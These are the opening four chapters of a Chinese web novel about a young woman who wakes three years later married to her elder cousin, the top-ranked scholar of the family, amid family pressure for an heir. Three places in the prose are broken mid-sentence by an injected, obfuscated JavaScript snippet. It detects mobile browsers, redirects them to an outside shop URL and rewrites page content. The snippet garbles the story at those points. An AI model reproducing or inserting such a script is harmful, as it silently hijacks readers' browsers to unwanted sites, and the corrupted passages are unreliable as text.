《和长兄穿到了三年后》 1. 第 1 章 暮春里水软山温,云田谢家大宅一片安静祥和。 青瓦白墙的屋檐下挂着一只铜制角铃,微风吹过发出清脆的叮当声,铃下轩窗紧闭,只余微微的晨曦透进屋内。 微弱光线下屋内昏暗不明,垂地的床幔间隐隐约约可见两具熟睡的身影。 或许铃声扰了清梦,一声轻嘤从眉头轻皱的女子口中溢出,紧接着一双有力的臂膀自然而然地将她搂紧进了怀里。 温热裸露的肌肤带来令人安心的触感,许清妙好喜欢,她本能地将脸蹭了蹭。 蹭完又觉出不对劲来,她早过了奶娘婢女陪床的年纪,怎么还会有人睡在身旁? 许清妙顿感不妙不由缓缓地睁开眼睛,入目便是大片宽阔而平坦的胸膛,而她整张脸正紧紧贴在上面。 这是个没穿衣服的男人! 清醒的认知令她惊恐,猛地伸手去推,却发现自己两只素白的手臂正紧紧地缠在对方的脖子上,而底下的腿脚也被他有力的夹着,根本动弹不了。 怎么会这样?她的婢女婆子呢?怎么会让男人进她的闺房? 明明睡觉前还辗转反侧为家里给她定下的亲事苦恼,怎么会一觉醒来床上多了个男人? 许清妙细思极恐,忍不住浑身发抖,想放声尖叫又死死咬住了下唇,她是未出嫁的闺中姑娘,如若被人发现这般与男人抱在一起,那她肯定不用活了。 不能声张,她还想活。 许清妙慌乱中告诉自己,绝不能这般稀里糊涂地没了清白丢了性命,这不是单单关乎她一人的事情。 他们许家乃是大雍朝有名望的书香世家,祖父更是官声清明、严于治家,父亲和伯父正在京里担任要职,大房长兄也刚刚蟾宫折桂中了状元,怎能因为她而毁了清誉、丢了前程。 如今事情既然已经发生,如何自救才是最紧要的,她屏住呼吸将脸从男人胸口移开,慢慢地抬起头向上望去。 昏暗的帷帐内男人的脸侧向她,低垂的眉眼、散落额间的发丝还有那微抿着的薄唇,瞧着熟悉又陌生。 熟悉是因为这人跟她那状元长兄长得一模一样,陌生是因为她从没见过长兄脸上出现这般神态:放松而餍足。 要知道被寄予众望的长兄脸上从来是端庄内敛的,深得祖父的真传。 许家人丁兴旺,祖父早年娶了三房妻妾,底下子女养活了十来人,如今庶子成家后皆搬出了主宅,只留下正房一支。长兄许恪便是正房长子嫡孙,而她则是正房三郎的嫡女,他们是有嫡亲血缘关系的堂兄妹。 他们绝不可能这般搂在一起睡觉的。 她伸出手想去推醒那人,却不想手刚探到他的额前,便被一把抓住。 男人带着睡意的双眼缓缓睁开,只瞬息间便见他露出同样惊诧的神色,紧接着视线扫过俩人,露出了难看的脸色。 “三娘,怎么是你?” 许清妙听着他用熟悉的清冷嗓音唤她三娘,立马就绷不住了。 眼泪哗啦啦地汹涌而出,她们小的这一辈最信赖的人就是长兄,如今这人果真是长兄,可她怎么更慌了。 “长兄,我也不知道啊,我明明在自己屋里睡觉的。” 她一激动大幅度地扭了下,底下的腿终于是被他松开了,她想往后撤却根本不敢动,因为她刚一扯动,堪堪盖着胸口的被子就往下滑落。 许清妙双手捂住被子,泪眼朦胧地向许恪求助。 “长兄,我该怎么办?” 许恪紧锁着清隽的眉,几个来回看清了俩人的处境,“先别慌,你穿好衣裳。” 他自然看出来了这事情的严重性,兄妹有染那是逆天道悖人伦的丑事,他知道自己不可能做出这样的事情来,而许三娘这么乖巧的妹妹也绝不可能做出这种事。 定是有什么他们都不知道的事情发生了。 “先别哭。” 许清妙得了兄长的命令,心底总算没那么慌,抖着手往四周寻衣裳,只见轻纱垂落的拔步床内四散着肚兜小裤中衣,浅色深色交缠,甚至那床架子上还垂绑着两条不知何用的绸带。 她简直不敢细看,伸手去够,却发现盖在俩人身上的锦被正从许恪的腰腹往底下滑。 许清妙吓得立马不敢动了,闭着眼羞红了脸,崩溃道:“长兄,我够不着。” 许恪一直不敢往她那处看,根据他过往看过的书听过的同窗私话,他猜到他们昨晚都做了什么,甚至他此时手心里还残留着女子的余温。 “我闭着眼睛,你放心穿。” 许清妙低着头拿眼睨他,清俊的脸上闭了眼端着一片淡定,薄唇紧抿,烧红了的耳垂却突兀地出卖了他。 原来长兄其实跟她一样慌乱羞愧。 许清妙不敢再多想,手忙脚乱找到肚兜和小裤,看了眼歪着头闭着眼的许恪,一咬牙拉开被子往身上套好衣物。 等到她穿好中衣,却发现找不到外袍,而紧接着便听见内罩门外响起了熟悉的询问声:“翰林,可需要进来伺候?” 声音压得又低又轻,似是怕惊扰了谁,只许清妙听得很清楚那就是她的贴身丫头鹊枝的声音。 错不了! 既然她在外面,为何唤的是长兄而非她? 许清妙转头看向已经睁开眼看向帘外的许恪,一双幽深冷静的眼眸里似是了悟了什么。 她低声疑惑:“鹊枝知道你在我房里?” 许恪抱着被子看了她一眼,摇了摇头,“叫她进来就知道了。” “这怎么行?”许清妙抬手撩开床幔一角,探头望去陌生的房间里摆着她熟悉的寒梅图、仕女屏风,这不是她的闺房却放着她的东西。 她茫然放下了床幔,怔怔然看向许恪。 许恪:“这是我的卧房,你先躺进被子里闭上眼。” 许清妙知道自己完全乱了心神,如果起初是惊恐慌乱,那此刻便是茫然。她不知道接下来会发生什么,更猜不到过去发生了什么,似乎走进了迷雾当中。 所幸还有长兄在,她听话地躺进了拔步床的最内面,背对着他闭上了眼睛。 许恪看她闭眼躺好,翻身拿过自己的贴身衣物一一穿好。 许清妙耳边全是他穿戴的稀碎声音,心底更乱了,刚刚她穿衣物时候,长兄也都听见了吧。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053537|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期盼着这只是一场荒诞的梦,闭上眼睛再睁开就会结束。 可直到她听见他应了声:“进来。” 内门轻微地推门声响起,有脚步轻缓地走进,接着倒水的声音也响起,没有人惊恐地呼叫,她的婢女安安静静有条不紊地准备为主子洗漱。 床上褥子有擦过的声音,她想应是长兄下床了。 她缓缓张开眼,瞧见窗幔一开一合带出明暗的光线交错,接着帐内再次陷入昏暗与安静。 而帐外传来鹊枝低声地请示声:“翰林,可要叫醒夫人?” 许清妙睁圆了眼,双手捂紧了嘴唇才没让自己发出惊呼声。 她的贴身婢女对着她的长兄叫自己夫人,这全乱套了! 许恪嘴角微微地动了动,极好地掩饰了内心波动,情况不算太糟。 “今日是有什么安排吗?”他没有直接回应,反而理所当然地抛出问题。 许清妙只听见鹊枝恭敬地回道:“今儿老夫人和夫人要带少夫人去祥云寺拜观音祈福,不过时辰还早,夫人交待过了辰时才出发。” 许恪还没说话,但许清妙已经被吓得眼睛发直,所有云田人都知道,祥云寺的观音娘娘那是求子圣地,去那里祈福的夫人太太无不是奔着求子而去。 许恪半响没说话,许清妙猜测长兄肯定跟她一样被吓得不敢开口。 鹊枝见他不说话,又有些担忧地说道:“翰林,夫人还说如果少夫人一直怀不上,那就要给您纳妾。” 许清妙已经被吓得麻木了,她大伯娘居然催生了。 许恪低头洗脸,过了好一会才低声道:“过一刻钟来喊她。” 然后,直到鹊枝带上门出去了,许恪也没说一句话。 许清妙僵直着躺在床上不想面对,长兄如父,她从没想过有一天醒来会嫁给了自己的长兄。 许清妙捂着被子憋红了脸,床幔却被许恪拉开,他视线扫过床内凌乱的被褥,还有悬挂的绸带,闭了闭眼难以相信自己会有这般混乱的房内事。 “三娘,情况还好。” 许清妙不觉得好,哪里好了,她一个闺中女子一觉醒来居然被催生了。 她埋头当乌龟,许恪也不催她,只眼神收敛着定在一处,冷清清地声给她梳理道:“眼下我们应该是成亲了,而且家里人似乎都接受良好,至于我们之间的血缘关系肯定是不存在了。” 许清妙不解地转头看过去,一眼都看不住又转回去,闷声道:“长兄怎么知道的?” 许恪笃定道:“祖父不可能让悖伦常之事发生,我也不会,所以如果我们成亲了那就只有一种可能我们没有血缘关系。” 许清妙不得不佩服长兄的心志坚定,这种事情面前还能理智分析,还能得出这般明确的结论,难怪整个云东道多少年才出他一个状元郎。 可是,她还是不能接受自己嫁给了长兄这个事实呀。 不是长兄不够好,而是她从没想过嫁给自己的长兄,他如此清风月朗的一个人怎么能娶自己的堂妹呢,即便证实了他们之间没有血缘关系,那也是不行的呀。 “那长兄,我们能和离吗?” 2. 第 2 章 祥云寺建在云田东南的山林间,离着许家宅院不远。 暮春的山里林寒涧肃、水木明瑟,正是踏春游玩的好去处。 晨间的阳光穿透薄雾照在三架雕花马车上,车轮平稳地行驶在浮岚暖翠的山路中,微风徐徐吹起卷帘,窥得车内娥眉轻蹙的貌美女郎。 许清妙着一身蔚蓝色春衫斜靠在软枕上,头顶的少女双螺髻换成妇人才梳的超云近香髻,妆饰的彩带绒花也换成了珠钗和步摇,她拿着铜镜照了又照,实在瞧着不顺眼。 再看了眼本该领口较低的春衫,却在脖颈处围了一圈绸带,只为掩盖那上面暧昧的红痕。 白皙的脸上泛着自然的红晕,她如今这副身体处处透着春情,无不彰显出俩人房中事和谐融洽。 好羞耻啊! 她一个连男子手背都没碰过的姑娘家,挂着这么一身痕迹出了门。 不由记起出门前,她站在院子里,身姿清雅的许恪出现在院门前,挥了挥手支开婢女小厮,逆着光朝她走来。 阳光打在他的身上,墨蓝打底的金线团锦刺绣熠熠生光,宽松的腰间系着镶嵌了玉石的黑色腰带,文雅大气,浑身上下退却了少年人的单薄,却又留着少年人的劲腰窄臀。 看见了便教人移不开眼。 这跟她见过的长兄很不一样,他高中状元时也不过十八岁的少年郎,分明还是单薄的读书人模样,如今却浑身的风度。 大概察觉到了她直白的目光,许恪不紧不慢地朝她扬唇抿了个笑,这笑像是特意挤出来的,一闪而过,灼灼的眼眸看着她。 “三娘,和离的事我暂时没法答应,我们往后再说。稍后你要去祥云寺我也没法陪同,你一个人能行吗?” 许恪低着头耐心地跟她说话,脸上平和如常,身体却刻意站得离她有三尺远,比兄妹关系还疏远。 许清妙很想解释,她脱口而出的和离其实并没经过谨慎考虑,不是非要他立马给个答复。 但她对着他认真的眼睛说不出口,只能半低着头轻轻嗯了一声。 长兄从小便有神童之名,却不骄不躁,勤学苦读,连中三元。这般出彩的成就他依旧恭谦有礼,耐心教导弟妹。 他是他们所有人的榜样。 读书的兄弟渴望成为长兄这样的博学之士,及笄的姐妹希望嫁给如长兄般光风霁月的谦谦君子。 大概是她低着头恍惚太久,长兄的声音再次响起:“实在不知如何应对便少说话,祖母和我娘总归不会太为难你。” 许清妙收敛了心神,依旧低着头嗯了一声。 她低头登上马车,眼睛余光里瞧见长兄伸出又收回的手,她不敢回头看自己敬佩的兄长,只能躲在马车里听着他在外面交代鹊枝仔细照看,如从前一般。 * 减速行驶的马车缓缓停在了一座清幽的院门前,门上牌匾刻着“祥云寺”三个庄严质朴的大字。 清晨的寺院里已经香火旺盛,往来香客络绎不绝。 许清妙搭着鹊枝的手下了马车,扭头便见另一架马车上,娴淑温柔的大伯娘王氏正扶着满头银发的老太太下来。 “少夫人,您快过去吧。” 鹊枝在耳旁提醒她,许清妙按下心底忐忑,步履艰难地往老太太那走去。 实在是老太太的规矩繁多,她平常轻易不敢往前凑。 许家长辈对她们姐妹的教导向来严厉,不仅请了女先生教女德女容,老太太还经常将她们喊到一处考较。 她每次都应对得提心吊胆。 “祖母,大伯娘。” 许清妙如往常般行礼叫人,身子刚半蹲下去便晓得自己出岔子了。 如今这儿媳的身份如何还叫得大伯娘。 “怎又犯糊涂了,该叫娘时候不叫,不该你叫时候围着叫。” 果然,老太太责备的声音立马响起。 话落,许清妙便听王氏笑道:“想当年,这丫头刚被送回来养时,就爱粘着我,逗一逗她就甜甜地围着我叫娘,嘴可甜了。” 许清妙微红着脸站在一旁,满是尴尬,这声娘她如今是实在喊不出来。 幼时,父亲四处做官,母亲带着她也跟着四处奔走,直到生弟弟时难产没了,从此她和弟弟便被接回了祖宅,由老太太和王氏教养。 “行了,别站着发愣,今儿有正事,别在这耽搁了。” 老太太嘴硬心也不软,一手提着裙摆一手搭着大伯母的手迈上台阶。 许清妙连忙跟上,在老太太一旁虚扶着,她谨记着长兄的话,少说话,果然她们也没再为难她。 她一路上跟随着,她们拜佛她便跟着拜,她们上香她便也恭敬地作揖上香。 直到跪在一座法相庄严的观音像前,她们让她虔诚跪好其他别管,接着耳边响起悠扬深远的诵经声。 她低头跪着,余光里瞧见有穿着僧袍罗汉鞋的和尚从身前走过,如此反复直至一道高深莫测的声音在头顶响起。 “佛法无边,观音大士亲临,施主的心愿必能达成。” 许清妙没有动作,站在一旁的老太太和王氏虔诚而欣喜地回道:“多谢菩萨保佑,许家诚心祈福定为菩萨塑金身传佛法。” 接下来的事情,许清妙没有了参与感,全程皆是老太太在向大和尚问佛经。 等到最后结束,一根红线串着一尊小巧的玉菩萨戴在了她脖子上。 大和尚光可鉴人的脑袋上闪烁着慈悲的神光:“女施主是有福之人,很快便会心想事成。” 许清妙僵硬着回了礼,跪拜菩萨后出了寺院。 她恍恍惚惚满脑子都是心想事成这句箴言。 如果今日之前的那个许清妙心里也期盼早日有孕,那她必然不能很快心想事成。 这不准。 可再一想,自己“昨日”在祠堂外无意间许的那个愿望,恐怕真是“心想事成了。” * “昨日”的许清妙做梦也想不到,她能离奇地来到三年后,那时候最让她担忧的事情是定亲成婚。 在大雍朝,女子嫁人犹如二次投胎,一旦所托非人余生皆是苦楚。 所幸许家有许家的规矩,女郎从十五及笄开始相看,等到十六十七才会正式成婚,这在女子普遍及笄成婚的大雍朝算是晚婚。 许清妙由衷感激祖父的智慧,他老人家为官之余修道法习医理,深知女子过早成婚孕育子嗣的凶险。 但再怎么拖,她也已经及笄,相看人家已成必然。 本来相看得有条不紊,可一通从京里传回的喜讯令她的婚事火速敲定。 她的堂兄,许家的嫡长孙许恪,以十八岁少年之姿在集英殿上被圣人钦点为状元郎,朝野震惊。 古来状元多壮年,如此少年状元郎少之又少,抬匾送喜的官差还没到许家老宅,慕名而来说亲事的却纷沓而至。 长兄的婚事不能草率,祖父发了话,一切等他回家后再商议。 自然那些心里有谱或者家里没有适婚女儿的人家,便将目光投向了正在相看人家的许清妙,许家三房嫡出女郎、状元郎的堂妹,同样可以与许家拉近关系。 许清妙的婚事就这般莫名其妙地定下了,对方是四品京官大理寺少卿胡汇中的嫡子,门第家世都相匹配,甚至许清妙还有些高攀,毕竟她的父亲还只是个五品给事中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祖父特意提前写好了祭文,为这场上感天地下告祖宗的祭祀大礼极尽心力。 不光许家族人齐聚一堂,远近友邻也纷纷来贺,连云东道府台也惊动了,总之,这场祭祀祖宗的大礼热闹盛大。 没有人会在意许清妙的那点惶恐挣扎。 她整夜难眠,辗转反侧,也不得不打起精神来招待来访的同龄女客。 许清妙上头的两位堂姐早已出嫁,如今招待同龄人的任务自然落在了她身上。 有人拐弯抹角向她打探长兄的品行习惯,也有人矜持腼腆地送她手帕绣品,五花八门,几乎全是冲着状元郎来的。 她想她们可真有眼光,长兄几乎不近女色,人品高洁,性情还虽冷清但进退有礼,只不知晓哪家小娘子会入他的眼。 许清妙被一大群小娘子簇拥着,挤在了许家祠堂院子里,祠堂正屋今日是挤不进去也不让女眷进去了,里面全是许家各房长辈。 鞭炮起舞,锣鼓喧天。 状元郎脱白挂绿,换上了进士阑袍,头戴展角幞头,鬓角簪花,左肩披一幅红锦带,踩着四方步在热烈的祝贺声中一边得体回礼一边大步走过。 儒雅端方,气度翩翩的状元郎引得一众女郎羞红了脸。 连自家小堂妹许清莲也感慨:“长兄真是闺中佳婿,无人能比。” 许清妙望着长兄走远的背影怔怔出神,她默默在心底祈祷:祖宗保佑,愿她嫁的人也如长兄般清风峻节。 3. 第 3 章 三人过了晌午才从祥云寺出来,王氏搀扶着老太太相继登上了马车。 俩人在车内软凳上坐好,婢女伺候着喝了热茶,茶杯刚放下老太太不满的声音就响起:“这三丫头怎么恍恍惚惚的?拜菩萨求子都不能上点心,实在是大不敬。” 老太太信佛,巴不得家里所有人都跟着她一起吃斋念佛。 王氏深知老太太在借题发挥,她不满的还是大郎的婚事和一直未有子嗣。她这儿子哪哪都好,就是不大沾女人,确实令人忧心,成婚都三年了硬是没个消息的。只是老太太一味捏着三娘说教,大郎那半句不提,也不是个事,大郎那该说还是得有人去说。 王氏脾气好性子也稳,即便老太太拉了脸子,也笑嘻嘻地宽慰道:“许是昨儿夜里没休息好,大郎昨日歇在后院,俩人少不得黏糊,娘盼着抱孙子,这求得了菩萨,自然也得他们努力不是?” 老太太听了脸色果然转暖,叹气道:“这大郎那里是油盐不进,别说侍妾连个通房塞了几次都被退回来了,以前没娶亲他说要以学业为主,如今成亲都三年了还是这般,我老婆子不管他喜欢谁,连小三娘都让他娶了,他难道还没发觉女子的好?” 王氏脸上的笑有些绷不住了,婆母这话说得好似全是大郎不孝了。 但大郎不纳妾不收长辈给的通房,这在礼教上确实不占理,她这做娘的也没法给他辩解。 只得顺着老太太说话:“娘,大郎这品性您还不知道,能是留恋女色之人?再说了,他如今走哪都将三娘带着,肯定是重感情的,这时候让他纳妾他自然不肯,等三娘有了孕,不用您安排,儿媳我就给他安排上伺候的通房。” 这话说完,王氏心底其实挺不是滋味的,哪个女子乐意怀着身子时丈夫去睡别的女人呢? 前几年,大女儿许清霜有身孕,她还教着大娘如何防备丫鬟爬床呢。 许清妙是她从小豆芽时养起来的,前十二年全心全意当女儿在培养,谁能知道三年前成了儿媳呢。 她着实不忍心逼得太紧,况且这事也不是她一个人说了算的,大郎明摆着不乐意这么早让儿媳怀孕。 老太太哼道:“他是个冷情的,从小就看得出来,二郎还有过黏着婢女的时候,你瞧他有过吗?屋里头从开蒙起就不肯丫鬟进,贴身伺候的全是小厮,不知道的还以为他好男风了。” 王氏被老太太这嘴吓得脸都白了,赶忙辩解:“娘,可不能这般说,大郎可不好淫靡之风,这传出去可影响大了。” 正经官员,哪容得这些污点,即便是有这样爱好的权贵人家那也是藏得严严实实的,能叫人知道的那都是些富贵闲人不怕人指摘的。 哪有亲祖母这般埋汰亲嫡孙的?王氏一口牙都咬碎了才忍住没发火。 老太太许是知道自己说错了,连忙纠正:“呸,老婆子我今日是热糊涂了,回头好好跟菩萨谢罪。” 王氏抚了抚胸口,她早习惯了老太太偶尔的口没遮拦,可涉及到大郎的事万万不能乱说的。 她得想个法子让老太太没空管大郎的事,大郎小俩口的事,有她操心就够了。 * 春困正当时,许清妙也不晓得自己是何时睡着的,摇摇晃晃,再睁眼马车已经进了许家后院,堪堪停在了她如今住的青云院前。 青云院一直是许恪的独居院落,他八岁中了秀才,老爷子一高兴将这处许宅最幽静雅致的院子赏给了他住,勉励他刻苦学习。 许恪喜静,读书考功名这些年,许家小辈是不允许到他院子里闹腾的,起码许清妙到这院子的次数就少之又少。 许清妙没想到突然就住到里面了。 “少夫人,是有什么问题吗?” 鹊枝不解地看向站着不动身的许清妙,她觉得少夫人怪怪的,但具体哪里又说不上来。 许清妙摇了摇头,深吸一口气抬脚进了院子,院内的婢女婆子见了她纷纷行礼。 她见着这些婆子丫鬟倒觉得稀奇,据她所知,许恪近身伺候的人可都是小厮,如今院子里一个小厮不见。 虽然好奇但许清妙什么也没问,在什么也没弄清楚前能不开口尽量不开口。 少说多看不出错。 中午前院小厮来传话,许恪留在了前院待客用饭,叫她不用等他,许清妙便自己用了午饭。 大概是突逢变故或者昨晚确实没睡好,她今日里一直犯困,左右无事她又睡着了,直睡到暮色浸染了庭院方睁开眼。 许清妙浑身舒懒搂着被子还没起身,听到外间传来许恪的声音。 “少夫人是哪里不舒服吗?” 丫鬟们怎么回的,她没听清,紧接着内室的门便被推开了,放轻的脚步声停在了她床前。 想着午睡不久,她便没让鹊枝放下外层床幔,只一层薄纱罩着拔步床,她抬眼望去,便正好与许恪四目相接,碰个正着。 许恪长着一双狭长有神的眼睛,是许家人大部分都有的特征,许清妙却没有,她的眼睛圆圆的笑起来像一弯月牙。 俩人这么突然的对视,双方都注意到了这个往常并不在意的区别。 许恪移开视线关心道:“三娘可是哪里不舒服?” 许清妙掀开被子起身,披上外袍,再快速地低头套上软鞋。 其实她脑子里还回响着他那句“少夫人”。 长兄这么快适应了他们的夫妻身份吗? “没有不舒服的,就是犯困了,没想到一觉睡到天黑了。” 她声音怯怯的,低着头不敢看他,像犯了错的小动物般。 许恪喉头滚动,话到嘴边却只发出一声:“嗯。” 许清妙低着头没吭声,俩人间的气氛又陷入凝滞,直到许恪轻叹一声。 “三娘,先出去用饭吧。” 俩人沉默着进了饭厅,不大的圆桌上摆上了四菜一汤,芋仔滑牛肉、粉蒸小排、香煎椿蛋饼、百合香芹还有个小乳鸽天麻汤,色香味俱全,还每一样都是她爱吃的。 许清妙诧异地看向撩袍坐下的许恪,是他安排的吗? 许恪撩眼瞧着她一瞬,收到她的疑问,“不是我吩咐的,先坐下吃吧。” 她应声坐下,很快发现惯常伺候用餐的婢女都候在了屋外,没人进来。 许清妙再次意外,她吃饭不喜欢婢女婆子一大堆人围着,但许家的规矩是每顿饭食从前菜到主菜都是有专门的丫鬟伺候的,吃哪道菜吃多少都是有讲究,既不允许过于浪费又不让吃太饱。 她是有些挑剔的,喜欢随着性子专挑自己喜欢的吃,但转头就被婆子告到老太太那去。 后来为了省事,她宁愿按着规矩来也不想应付老太太的数落。 没想到三年后,居然可以自己想吃什么夹什么了。 这可真是醒来后第一个好消息。 小夫妻俩安静地用了饭,她跟前的大丫鬟鹊枝带着丫头婆子进屋伺候漱口。 许清妙这顿饭吃得痛快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053539|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心情很好地看向鹊枝。 “鹊枝,今晚吃食都是你安排的吗?” 鹊枝正在沏茶,听了她话惊讶道:“少夫人,每天吃什么都是按照您的吩咐做的呢。” “啊?” 她安排的? 她有些心虚地看向低头喝茶的许恪,难道她霸道地只安排自己喜欢吃的菜色,完全不管长兄的口味? 不至于吧! “少夫人,你说民以食为天就得吃自己爱吃的,还说翰林什么都爱吃不挑食。” 许清妙滴溜着眼睛望向姿态闲适正安静饮茶的许恪。 “哥哥,你真的不挑食吗?” 怎么她记得大伯母抱怨过他不好伺候啊! 许恪低头喝茶没看她,只含糊地嗯了一声。 许清妙有点不好意思,但既然兄长都说了不挑食,那吃点她喜欢的也没什么吧。 俩人又恢复了安静,喝完茶看着对方无所事事。 “哥哥,要不你先去忙?” 俩人这么没话说地耗着着实尴尬。 许恪无奈道:“白天事情都处理了,我们现在正回乡探亲休假,甚少公务。” 许清妙不解,看了眼身边的鹊枝,“鹊枝,你先去给我准备热水,晚点我想沐浴,其他人也下去吧。” 等将伺候的丫鬟婆子支出去了,许清妙才压低声音问道:“探亲?我们不住家里吗?” 许恪摇头:“我们婚后都在京城,最近我的官职调动给了三个月探亲假,回来已有月余。” 许清妙两只眼睛瞪得圆圆的像两只猫瞳,惊喜不已,原来她还去过京城了。 她太想去外面看看了! “哥哥,你还查到了什么,快给我说说吧。我今天光睡觉和拜菩萨了,都没弄清楚什么情况。” 尴尬的俩人终于有了话题。 许恪周身冷淡的气场好似淡了不少,清浅地说道:“有很多事情我也还没查到,但大致知道的就是我祭祖回京路上带着你发生了些事情,到京里后你就拒婚了,再后来你的身世曝光,婚事就作罢了,至于我们为何会成亲,还没线索。” 拒婚?身世? 许清妙惊呼道:“原来我真拒婚了!刚定下亲事的时候,我每天为这事吃不下睡不着,但那时候我知道自己并不敢抗拒。” “我怎么突然敢的?” 许清妙太好奇了,她居然做成了自己想做不敢做的事情。 许恪清淡的眼浮上点点笑意。 “这就得问你自己了,即便我们没有这三年记忆,只要本性不变很多事情还是能猜到来龙去脉。” 就像他,他不可能娶自己的妹妹,但娶了,那么只有一个原因就是她不是他妹妹,因为不管任何时候,他都不可能逾越人伦底线。 而且,他现在还发现,三妹妹其实很符合他审美,圆圆的眼睛,灵秀可爱的长相,还有纤浓有度的身材,再加上看似温顺实则挺有主见的性子。 他突然很能理解自己娶她的决定,他是一个会尽量遵从自己意愿的人,更不会拿婚事当仕途踏脚石。 许清妙认同地点头:“你说的对,婚姻大事我不会委屈自己。” 话落,许恪的表情变得很微妙,但许清妙并没有察觉。 “哥哥,那我现在是谁呢?” 既然她不是许家的孩子,那她是谁家的呢?能让许家长辈同意她嫁给最有前途的嫡孙,她肯定不会是个没人要的可怜虫吧! 4. 第 4 章 夜风从轩窗吹过,清清凉凉。 许清妙的心也凉嗖嗖的,她想起许恪刚在饭厅说的话。 “三娘,从我与父亲的书信中,我只能了解到你的亲生父母均已过世,如今你从三叔名下转到了表姑名下,但这些都不用在意,你已经是许家大少夫人。” 许清妙不知道该哭还是该笑,她本就从小没有在爹娘跟前,如今直接惨兮兮的成了孤女,但她又奇迹般地嫁给了许恪。 脑子里思绪万千,她闷闷地趴在浴桶里想了很多。 浴房在内室的隔间里,一道卷帘隔断开来,她在里面泡澡,许恪已经去外间浴室洗漱了。 鹊枝打帘进来,身后跟着一个小丫头端着个托盘,上面放着各种小瓶子还有一碗黑乎乎冒着热气的汤药。 “少夫人,奴婢给你疏通下经络。” 鹊枝手上皮肤细腻,手上力气拿捏得恰到好处,捏着她的肩颈很舒服。 她靠在桶沿不由奇怪:“鹊枝,怎么只见你一个贴身伺候的,没人跟你轮换吗?” 她本来是想问另一个贴身大丫头桃枝哪去了,但担心自己说错话,便转了说法。 “少夫人,这院里的丫头都是老夫人和夫人送来的,一个个打扮的花枝招展,一看就是别有所图,奴婢给你请示过,让她们在外面伺候不进里屋。” “噢,那辛苦你了。” 许清妙没想到家里催生塞通房已经到这个地步,自己院里都得防着。 “鹊枝你给我讲讲身边的丫鬟婆子吧,都有哪些吧?” 她声音平淡,听起来就是随意问问。 鹊枝一边按揉她的肩膀一边倒豆子似的将她身边的人都说清楚了。 “如今屋里伺候的就我和这个小丫头还有宁妈妈,宁妈妈这两日着了凉歇了,屋外有四个大丫头两个婆子负责各种洒扫浆洗,不过那四个丫头现在意见大着呢,都想往屋里凑,我看她们就是想给翰林当通房。” 许清妙挑了挑眉,大院子里想凑近男主子的丫头不少,但没有主家示意也不敢真往前凑,看来确实是催生得厉害。 “嗯,你们翰林怎么说?” 她还记得长兄高中,不想如今已经进了翰林院,虽不知道具体官衔但能猜到他仕途平坦。 许清妙不由松了口气。 鹊枝笑道:“翰林说了不纳妾,所以夫人和老夫人才急着带夫人去拜菩萨呀。” 原来如此。 她竟然觉得心底挺高兴的。 舒舒服服泡了澡,她换好中衣坐在软凳上绞头发,眼睛又看见了那碗黑乎乎的汤药。 不由问道:“这是什么?” 鹊枝低声道:“这是太太特意吩咐厨房熬的调理滋补汤药,能让少夫人早日有孕,这样您就不用成天担心夫人给翰林纳妾了。” 许清妙瞥了眼鹊枝,这丫头看起来很在意她怀上子嗣的事,那其实也侧面反应这三年来她自己也很在意。 “我也很在意纳妾这事吧。” 鹊枝点头:“少夫人当然在意了,您跟翰林如胶似漆地哪里容得其他人。” “我们真有这么好?” 许清妙有些怀疑。 鹊枝猛点头,“少夫人你怎么到现在还怀疑翰林的心意呀,翰林为了你在京城格外置办宅子分开住了,就怕你见住得不自在。而且我们院里大大小小的事都是你说了算,翰林都不计较的。” 许清妙披着长发暗暗心颤:长兄为她牺牲良多啊。 鹊枝站在她身后给她梳头,嘴里絮絮叨叨讲着一些小事,比如翰林下值回来会给她带甜嘴糕点,比如翰林每逢休沐带她去游玩。 许清妙听在耳里怀疑鹊枝嘴里的翰林跟她长兄不是一个人。 等到她收拾齐整回到内室,鹊枝端着那碗药过来了。 “刚刚奴婢一直说话忘了让您喝了,您赶紧趁热喝了吧。养好了身子有了小郎君,就再没人给翰林塞通房了。” 许清妙端着碗望着汤药哭笑不得,她根本不想生孩子啊。 她还稀里糊涂呢。 鹊枝转身铺床,恰时许恪推门进来。 许清妙抬头看过去,愣住了,只见他披散着半干的黑发,身上裹着轻薄的中衣走近。 “这是喝什么?” 许恪声音平淡,似乎很自然,但坐着的许清妙明明看见他卷起来的手指正用力的绷着。 他在故作轻松。 许清妙没回他,鹊枝在一旁回道:“回翰林,是夫人送来的调养补药,给少夫人调养身子用的。” 许恪听了,眉头皱起:“是药三分毒,身体康健不要乱补,给少夫人端下去。” 鹊枝连忙应下,接过许清妙手里的药碗出去了。 门外的小丫头惊讶地看着这没动的药咋舌。鹊枝瞪了她一眼:“把嘴巴闭好,别到处乱说。” 小丫头捂着嘴连连点头。 门内的许清妙松了口气,她也不想喝苦苦的中药。 “谢谢哥哥。” 许恪坐在窗前的长塌上,挑眉看她,“不想做的事情不用勉强自己。” 许清妙点头,有兄长罩着她感觉挺不错。 